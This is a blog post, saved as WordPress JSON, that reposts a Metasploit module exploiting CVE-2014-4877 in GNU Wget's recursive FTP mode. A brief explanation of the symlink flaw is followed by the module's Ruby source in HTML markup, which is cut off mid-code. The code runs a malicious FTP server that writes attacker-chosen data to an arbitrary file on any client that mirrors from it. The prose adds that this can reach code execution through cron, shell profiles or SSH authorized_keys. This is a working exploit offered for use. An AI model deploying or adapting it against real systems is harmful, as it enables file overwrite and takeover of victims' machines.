{"id":16834,"date":"2014-11-01T16:21:29","date_gmt":"2014-11-01T09:21:29","guid":{"rendered":"http:\/\/deepquest.code511.com\/blog\/?p=16834"},"modified":"2014-11-01T16:21:29","modified_gmt":"2014-11-01T09:21:29","slug":"remote-exploits-gnu-wget-ftp-symlink-arbitrary-filesystem-access-exploit-2","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2014\/11\/remote-exploits-gnu-wget-ftp-symlink-arbitrary-filesystem-access-exploit-2\/","title":{"rendered":"[remote exploits] -GNU Wget FTP Symlink Arbitrary Filesystem Access Exploit"},"content":{"rendered":"<p>GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP.\u00a0 Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive mode with a FTP target. This vulnerability allows an attacker operating a malicious FTP server to create arbitrary files, directories, and symlinks on the user&#8217;s filesystem. The symlink attack allows file contents to be overwritten, including binary files, and access to the entire filesystem with the permissions of the user running wget. This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys.<\/p>\n<p><!--more--><\/p>\n<h2>Vulnerability<\/h2>\n<p>The flaw is triggered when wget receives a directory listing that includes a symlink followed by a directory with the same name. The output of the LIST command would look like the following, which is not possible on a real FTP server.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>lrwxrwxrwx\u00a0 1 root\u00a0\u00a0\u00a0 root\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 33 Oct 28\u00a0 2014 TARGET -&gt; \/<\/strong><\/p>\n<p><strong>drwxrwxr-x\u00a0 15 root\u00a0\u00a0\u00a0 root\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 4096 Oct 28\u00a0 2014 TARGET<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Wget would first create a local symlink named TARGET that points to the root filesystem. It would then enter the TARGET directory and mirror its contents across the user&#8217;s filesystem.<\/p>\n<p>&nbsp;<\/p>\n<table class=\"highlight tab-size-8 js-file-line-container\">\n<tbody>\n<tr>\n<td id=\"LC1\" class=\"blob-code js-file-line\"><span class=\"c1\">##<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L2\" class=\"blob-num js-line-number\" data-line-number=\"2\"><\/td>\n<td id=\"LC2\" class=\"blob-code js-file-line\"><span class=\"c1\"># This module requires Metasploit: http\/\/metasploit.com\/download<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L3\" class=\"blob-num js-line-number\" data-line-number=\"3\"><\/td>\n<td id=\"LC3\" class=\"blob-code js-file-line\"><span class=\"c1\"># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L4\" class=\"blob-num js-line-number\" data-line-number=\"4\"><\/td>\n<td id=\"LC4\" class=\"blob-code js-file-line\"><span class=\"c1\">##<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L5\" class=\"blob-num js-line-number\" data-line-number=\"5\"><\/td>\n<td id=\"LC5\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L6\" class=\"blob-num js-line-number\" data-line-number=\"6\"><\/td>\n<td id=\"LC6\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L7\" class=\"blob-num js-line-number\" data-line-number=\"7\"><\/td>\n<td id=\"LC7\" class=\"blob-code js-file-line\"><span class=\"nb\">require<\/span>\u00a0<span class=\"s1\">&#8216;msf\/core&#8217;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L8\" class=\"blob-num js-line-number\" data-line-number=\"8\"><\/td>\n<td id=\"LC8\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L9\" class=\"blob-num js-line-number\" data-line-number=\"9\"><\/td>\n<td id=\"LC9\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L10\" class=\"blob-num js-line-number\" data-line-number=\"10\"><\/td>\n<td id=\"LC10\" class=\"blob-code js-file-line\"><span class=\"k\">class<\/span>\u00a0<span class=\"nc\">Metasploit3<\/span>\u00a0<span class=\"o\">&lt;<\/span>\u00a0<span class=\"no\">Msf<\/span><span class=\"o\">::<\/span><span class=\"no\">Auxiliary<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L11\" class=\"blob-num js-line-number\" data-line-number=\"11\"><\/td>\n<td id=\"LC11\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L12\" class=\"blob-num js-line-number\" data-line-number=\"12\"><\/td>\n<td id=\"LC12\" class=\"blob-code js-file-line\"><span class=\"kp\">include<\/span>\u00a0<span class=\"no\">Msf<\/span><span class=\"o\">::<\/span><span class=\"no\">Exploit<\/span><span class=\"o\">::<\/span><span class=\"no\">Remote<\/span><span class=\"o\">::<\/span><span class=\"no\">FtpServer<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L13\" class=\"blob-num js-line-number\" data-line-number=\"13\"><\/td>\n<td id=\"LC13\" class=\"blob-code js-file-line\"><span class=\"kp\">include<\/span>\u00a0<span class=\"no\">Msf<\/span><span class=\"o\">::<\/span><span class=\"no\">Auxiliary<\/span><span class=\"o\">::<\/span><span class=\"no\">Report<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L14\" class=\"blob-num js-line-number\" data-line-number=\"14\"><\/td>\n<td id=\"LC14\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L15\" class=\"blob-num js-line-number\" data-line-number=\"15\"><\/td>\n<td id=\"LC15\" class=\"blob-code js-file-line\"><span class=\"k\">def<\/span>\u00a0<span class=\"nf\">initialize<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L16\" class=\"blob-num js-line-number\" data-line-number=\"16\"><\/td>\n<td id=\"LC16\" class=\"blob-code js-file-line\"><span class=\"k\">super<\/span><span class=\"p\">(<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L17\" class=\"blob-num js-line-number\" data-line-number=\"17\"><\/td>\n<td id=\"LC17\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;Name&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span>\u00a0<span class=\"s1\">&#8216;GNU Wget FTP Symlink Arbitrary Filesystem Access&#8217;<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L18\" class=\"blob-num js-line-number\" data-line-number=\"18\"><\/td>\n<td id=\"LC18\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;Description&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span>\u00a0<span class=\"sx\">%q{<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L19\" class=\"blob-num js-line-number\" data-line-number=\"19\"><\/td>\n<td id=\"LC19\" class=\"blob-code js-file-line\"><span class=\"sx\">This module exploits a vulnerability in Wget when used in<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L20\" class=\"blob-num js-line-number\" data-line-number=\"20\"><\/td>\n<td id=\"LC20\" class=\"blob-code js-file-line\"><span class=\"sx\">recursive (-r) mode with a FTP server as a destination. A<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L21\" class=\"blob-num js-line-number\" data-line-number=\"21\"><\/td>\n<td id=\"LC21\" class=\"blob-code js-file-line\"><span class=\"sx\">symlink is used to allow arbitrary writes to the target&#8217;s<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L22\" class=\"blob-num js-line-number\" data-line-number=\"22\"><\/td>\n<td id=\"LC22\" class=\"blob-code js-file-line\"><span class=\"sx\">filesystem. To specify content for the file, use the<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L23\" class=\"blob-num js-line-number\" data-line-number=\"23\"><\/td>\n<td id=\"LC23\" class=\"blob-code js-file-line\"><span class=\"sx\">&#8220;file:\/path&#8221; syntax for the TARGET_DATA option.<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L24\" class=\"blob-num js-line-number\" data-line-number=\"24\"><\/td>\n<td id=\"LC24\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L25\" class=\"blob-num js-line-number\" data-line-number=\"25\"><\/td>\n<td id=\"LC25\" class=\"blob-code js-file-line\"><span class=\"sx\">Tested successfully with wget 1.14. Versions prior to 1.16<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L26\" class=\"blob-num js-line-number\" data-line-number=\"26\"><\/td>\n<td id=\"LC26\" class=\"blob-code js-file-line\"><span class=\"sx\">are presumed vulnerable.<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L27\" class=\"blob-num js-line-number\" data-line-number=\"27\"><\/td>\n<td id=\"LC27\" class=\"blob-code js-file-line\"><span class=\"sx\">}<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L28\" class=\"blob-num js-line-number\" data-line-number=\"28\"><\/td>\n<td id=\"LC28\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;Author&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span>\u00a0<span class=\"o\">[<\/span><span class=\"s1\">&#8216;hdm&#8217;<\/span><span class=\"o\">]<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L29\" class=\"blob-num js-line-number\" data-line-number=\"29\"><\/td>\n<td id=\"LC29\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;License&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span>\u00a0<span class=\"no\">MSF_LICENSE<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L30\" class=\"blob-num js-line-number\" data-line-number=\"30\"><\/td>\n<td id=\"LC30\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;Actions&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span>\u00a0<span class=\"o\">[[<\/span><span class=\"s1\">&#8216;Service&#8217;<\/span><span class=\"o\">]]<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L31\" class=\"blob-num js-line-number\" data-line-number=\"31\"><\/td>\n<td id=\"LC31\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;PassiveActions&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span>\u00a0<span class=\"o\">[<\/span><span class=\"s1\">&#8216;Service&#8217;<\/span><span class=\"o\">]<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L32\" class=\"blob-num js-line-number\" data-line-number=\"32\"><\/td>\n<td id=\"LC32\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;References&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L33\" class=\"blob-num js-line-number\" data-line-number=\"33\"><\/td>\n<td id=\"LC33\" class=\"blob-code js-file-line\"><span class=\"o\">[<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L34\" class=\"blob-num js-line-number\" data-line-number=\"34\"><\/td>\n<td id=\"LC34\" class=\"blob-code js-file-line\"><span class=\"o\">[<\/span>\u00a0<span class=\"s1\">&#8216;CVE&#8217;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"s1\">&#8216;2014-4877&#8217;<\/span><span class=\"o\">]<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L35\" class=\"blob-num js-line-number\" data-line-number=\"35\"><\/td>\n<td id=\"LC35\" class=\"blob-code js-file-line\"><span class=\"o\">[<\/span>\u00a0<span class=\"s1\">&#8216;URL&#8217;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"s1\">&#8216;https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=1139181&#8217;<\/span>\u00a0<span class=\"o\">]<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L36\" class=\"blob-num js-line-number\" data-line-number=\"36\"><\/td>\n<td id=\"LC36\" class=\"blob-code js-file-line\"><span class=\"o\">[<\/span>\u00a0<span class=\"s1\">&#8216;URL&#8217;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"s1\">&#8216;https:\/\/community.rapid7.com\/community\/metasploit\/blog\/2014\/10\/28\/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access&#8217;<\/span>\u00a0<span class=\"o\">]<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L37\" class=\"blob-num js-line-number\" data-line-number=\"37\"><\/td>\n<td id=\"LC37\" class=\"blob-code js-file-line\"><span class=\"o\">]<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L38\" class=\"blob-num js-line-number\" data-line-number=\"38\"><\/td>\n<td id=\"LC38\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;DefaultAction&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span>\u00a0<span class=\"s1\">&#8216;Service&#8217;<\/span><span class=\"p\">,<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L39\" class=\"blob-num js-line-number\" data-line-number=\"39\"><\/td>\n<td id=\"LC39\" class=\"blob-code js-file-line\"><span class=\"s1\">&#8216;DisclosureDate&#8217;<\/span>\u00a0<span class=\"o\">=&gt;<\/span>\u00a0<span class=\"s1\">&#8216;Oct 27 2014&#8217;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L40\" class=\"blob-num js-line-number\" data-line-number=\"40\"><\/td>\n<td id=\"LC40\" class=\"blob-code js-file-line\"><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L41\" class=\"blob-num js-line-number\" data-line-number=\"41\"><\/td>\n<td id=\"LC41\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L42\" class=\"blob-num js-line-number\" data-line-number=\"42\"><\/td>\n<td id=\"LC42\" class=\"blob-code js-file-line\"><span class=\"n\">register_options<\/span><span class=\"p\">(<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L43\" class=\"blob-num js-line-number\" data-line-number=\"43\"><\/td>\n<td id=\"LC43\" class=\"blob-code js-file-line\"><span class=\"o\">[<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L44\" class=\"blob-num js-line-number\" data-line-number=\"44\"><\/td>\n<td id=\"LC44\" class=\"blob-code js-file-line\"><span class=\"no\">OptString<\/span><span class=\"o\">.<\/span><span class=\"n\">new<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#8216;TARGET_FILE&#8217;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"o\">[<\/span>\u00a0<span class=\"kp\">true<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"s2\">&#8220;The target file to overwrite&#8221;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"s1\">&#8216;\/tmp\/pwned&#8217;<\/span>\u00a0<span class=\"o\">]<\/span><span class=\"p\">),<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L45\" class=\"blob-num js-line-number\" data-line-number=\"45\"><\/td>\n<td id=\"LC45\" class=\"blob-code js-file-line\"><span class=\"no\">OptString<\/span><span class=\"o\">.<\/span><span class=\"n\">new<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#8216;TARGET_DATA&#8217;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"o\">[<\/span>\u00a0<span class=\"kp\">true<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"s2\">&#8220;The data to write to the target file&#8221;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"s1\">&#8216;Hello from Metasploit&#8217;<\/span>\u00a0<span class=\"o\">]<\/span><span class=\"p\">),<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L46\" class=\"blob-num js-line-number\" data-line-number=\"46\"><\/td>\n<td id=\"LC46\" class=\"blob-code js-file-line\"><span class=\"no\">OptPort<\/span><span class=\"o\">.<\/span><span class=\"n\">new<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#8216;SRVPORT&#8217;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"o\">[<\/span>\u00a0<span class=\"kp\">true<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"s2\">&#8220;The port for the malicious FTP server to listen on&#8221;<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"mi\">2121<\/span><span class=\"o\">]<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L47\" class=\"blob-num js-line-number\" data-line-number=\"47\"><\/td>\n<td id=\"LC47\" class=\"blob-code js-file-line\"><span class=\"o\">]<\/span><span class=\"p\">,<\/span>\u00a0<span class=\"nb\">self<\/span><span class=\"o\">.<\/span><span class=\"n\">class<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L48\" class=\"blob-num js-line-number\" data-line-number=\"48\"><\/td>\n<td id=\"LC48\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L49\" class=\"blob-num js-line-number\" data-line-number=\"49\"><\/td>\n<td id=\"LC49\" class=\"blob-code js-file-line\"><span class=\"vi\">@fakedir<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"no\">Rex<\/span><span class=\"o\">::<\/span><span class=\"no\">Text<\/span><span class=\"o\">.<\/span><span class=\"n\">rand_text_alphanumeric<\/span><span class=\"p\">(<\/span><span class=\"nb\">rand<\/span><span class=\"p\">(<\/span><span class=\"mi\">8<\/span><span class=\"p\">)<\/span><span class=\"o\">+<\/span><span class=\"mi\">8<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L50\" class=\"blob-num js-line-number\" data-line-number=\"50\"><\/td>\n<td id=\"LC50\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L51\" class=\"blob-num js-line-number\" data-line-number=\"51\"><\/td>\n<td id=\"LC51\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L52\" class=\"blob-num js-line-number\" data-line-number=\"52\"><\/td>\n<td id=\"LC52\" class=\"blob-code js-file-line\"><span class=\"k\">def<\/span>\u00a0<span class=\"nf\">run<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L53\" class=\"blob-num js-line-number\" data-line-number=\"53\"><\/td>\n<td id=\"LC53\" class=\"blob-code js-file-line\"><span class=\"n\">my_address<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"no\">Rex<\/span><span class=\"o\">::<\/span><span class=\"no\">Socket<\/span><span class=\"o\">.<\/span><span class=\"n\">source_address<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L54\" class=\"blob-num js-line-number\" data-line-number=\"54\"><\/td>\n<td id=\"LC54\" class=\"blob-code js-file-line\"><span class=\"n\">print_good<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;Targets should run: $ wget -m ftp:\/\/<\/span><span class=\"si\">#{<\/span><span class=\"n\">my_address<\/span><span class=\"si\">}<\/span><span class=\"s2\">:<\/span><span class=\"si\">#{<\/span><span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;SRVPORT&#8217;<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">\/&#8221;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L55\" class=\"blob-num js-line-number\" data-line-number=\"55\"><\/td>\n<td id=\"LC55\" class=\"blob-code js-file-line\"><span class=\"n\">exploit<\/span><span class=\"p\">()<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L56\" class=\"blob-num js-line-number\" data-line-number=\"56\"><\/td>\n<td id=\"LC56\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L57\" class=\"blob-num js-line-number\" data-line-number=\"57\"><\/td>\n<td id=\"LC57\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L58\" class=\"blob-num js-line-number\" data-line-number=\"58\"><\/td>\n<td id=\"LC58\" class=\"blob-code js-file-line\"><span class=\"k\">def<\/span>\u00a0<span class=\"nf\">on_client_command_user<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span><span class=\"n\">arg<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L59\" class=\"blob-num js-line-number\" data-line-number=\"59\"><\/td>\n<td id=\"LC59\" class=\"blob-code js-file-line\"><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:user<\/span><span class=\"o\">]<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"n\">arg<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L60\" class=\"blob-num js-line-number\" data-line-number=\"60\"><\/td>\n<td id=\"LC60\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span>\u00a0<span class=\"s2\">&#8220;331 User name okay, need password&#8230;<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L61\" class=\"blob-num js-line-number\" data-line-number=\"61\"><\/td>\n<td id=\"LC61\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L62\" class=\"blob-num js-line-number\" data-line-number=\"62\"><\/td>\n<td id=\"LC62\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L63\" class=\"blob-num js-line-number\" data-line-number=\"63\"><\/td>\n<td id=\"LC63\" class=\"blob-code js-file-line\"><span class=\"k\">def<\/span>\u00a0<span class=\"nf\">on_client_command_pass<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span><span class=\"n\">arg<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L64\" class=\"blob-num js-line-number\" data-line-number=\"64\"><\/td>\n<td id=\"LC64\" class=\"blob-code js-file-line\"><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:pass<\/span><span class=\"o\">]<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"n\">arg<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L65\" class=\"blob-num js-line-number\" data-line-number=\"65\"><\/td>\n<td id=\"LC65\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span>\u00a0<span class=\"s2\">&#8220;230 Login OK<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L66\" class=\"blob-num js-line-number\" data-line-number=\"66\"><\/td>\n<td id=\"LC66\" class=\"blob-code js-file-line\"><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:auth<\/span><span class=\"o\">]<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"kp\">true<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L67\" class=\"blob-num js-line-number\" data-line-number=\"67\"><\/td>\n<td id=\"LC67\" class=\"blob-code js-file-line\"><span class=\"n\">print_status<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;<\/span><span class=\"si\">#{<\/span><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:name<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">\u00a0Logged in with user &#8216;<\/span><span class=\"si\">#{<\/span><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:user<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#8216; and password &#8216;<\/span><span class=\"si\">#{<\/span><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:user<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#8216;&#8230;&#8221;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L68\" class=\"blob-num js-line-number\" data-line-number=\"68\"><\/td>\n<td id=\"LC68\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L69\" class=\"blob-num js-line-number\" data-line-number=\"69\"><\/td>\n<td id=\"LC69\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L70\" class=\"blob-num js-line-number\" data-line-number=\"70\"><\/td>\n<td id=\"LC70\" class=\"blob-code js-file-line\"><span class=\"k\">def<\/span>\u00a0<span class=\"nf\">on_client_command_retr<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span><span class=\"n\">arg<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L71\" class=\"blob-num js-line-number\" data-line-number=\"71\"><\/td>\n<td id=\"LC71\" class=\"blob-code js-file-line\"><span class=\"n\">print_status<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#8220;<\/span><span class=\"si\">#{<\/span><span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:name<\/span><span class=\"o\">]<\/span><span class=\"si\">}<\/span><span class=\"s2\">\u00a0-&gt; RETR\u00a0<\/span><span class=\"si\">#{<\/span><span class=\"n\">arg<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#8220;<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L72\" class=\"blob-num js-line-number\" data-line-number=\"72\"><\/td>\n<td id=\"LC72\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L73\" class=\"blob-num js-line-number\" data-line-number=\"73\"><\/td>\n<td id=\"LC73\" class=\"blob-code js-file-line\"><span class=\"k\">if<\/span>\u00a0<span class=\"ow\">not<\/span>\u00a0<span class=\"vi\">@state<\/span><span class=\"o\">[<\/span><span class=\"n\">c<\/span><span class=\"o\">][<\/span><span class=\"ss\">:auth<\/span><span class=\"o\">]<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L74\" class=\"blob-num js-line-number\" data-line-number=\"74\"><\/td>\n<td id=\"LC74\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span>\u00a0<span class=\"s2\">&#8220;500 Access denied<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L75\" class=\"blob-num js-line-number\" data-line-number=\"75\"><\/td>\n<td id=\"LC75\" class=\"blob-code js-file-line\"><span class=\"k\">return<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L76\" class=\"blob-num js-line-number\" data-line-number=\"76\"><\/td>\n<td id=\"LC76\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L77\" class=\"blob-num js-line-number\" data-line-number=\"77\"><\/td>\n<td id=\"LC77\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L78\" class=\"blob-num js-line-number\" data-line-number=\"78\"><\/td>\n<td id=\"LC78\" class=\"blob-code js-file-line\"><span class=\"k\">unless<\/span>\u00a0<span class=\"n\">arg<\/span><span class=\"o\">.<\/span><span class=\"n\">index<\/span><span class=\"p\">(<\/span><span class=\"o\">::<\/span><span class=\"no\">File<\/span><span class=\"o\">.<\/span><span class=\"n\">basename<\/span><span class=\"p\">(<\/span><span class=\"n\">datastore<\/span><span class=\"o\">[<\/span><span class=\"s1\">&#8216;TARGET_FILE&#8217;<\/span><span class=\"o\">]<\/span><span class=\"p\">))<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L79\" class=\"blob-num js-line-number\" data-line-number=\"79\"><\/td>\n<td id=\"LC79\" class=\"blob-code js-file-line\"><span class=\"n\">c<\/span><span class=\"o\">.<\/span><span class=\"n\">put<\/span>\u00a0<span class=\"s2\">&#8220;550 File does not exist<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">&#8220;<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L80\" class=\"blob-num js-line-number\" data-line-number=\"80\"><\/td>\n<td id=\"LC80\" class=\"blob-code js-file-line\"><span class=\"k\">return<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L81\" class=\"blob-num js-line-number\" data-line-number=\"81\"><\/td>\n<td id=\"LC81\" class=\"blob-code js-file-line\"><span class=\"k\">end<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L82\" class=\"blob-num js-line-number\" data-line-number=\"82\"><\/td>\n<td id=\"LC82\" class=\"blob-code js-file-line\"><\/td>\n<\/tr>\n<tr>\n<td id=\"L83\" class=\"blob-num js-line-number\" data-line-number=\"83\"><\/td>\n<td id=\"LC83\" class=\"blob-code js-file-line\"><span class=\"n\">conn<\/span>\u00a0<span class=\"o\">=<\/span>\u00a0<span class=\"n\">establish_data_connection<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span><\/td>\n<\/tr>\n<tr>\n<td id=\"L84\" class=\"blob-num js-line-number\" 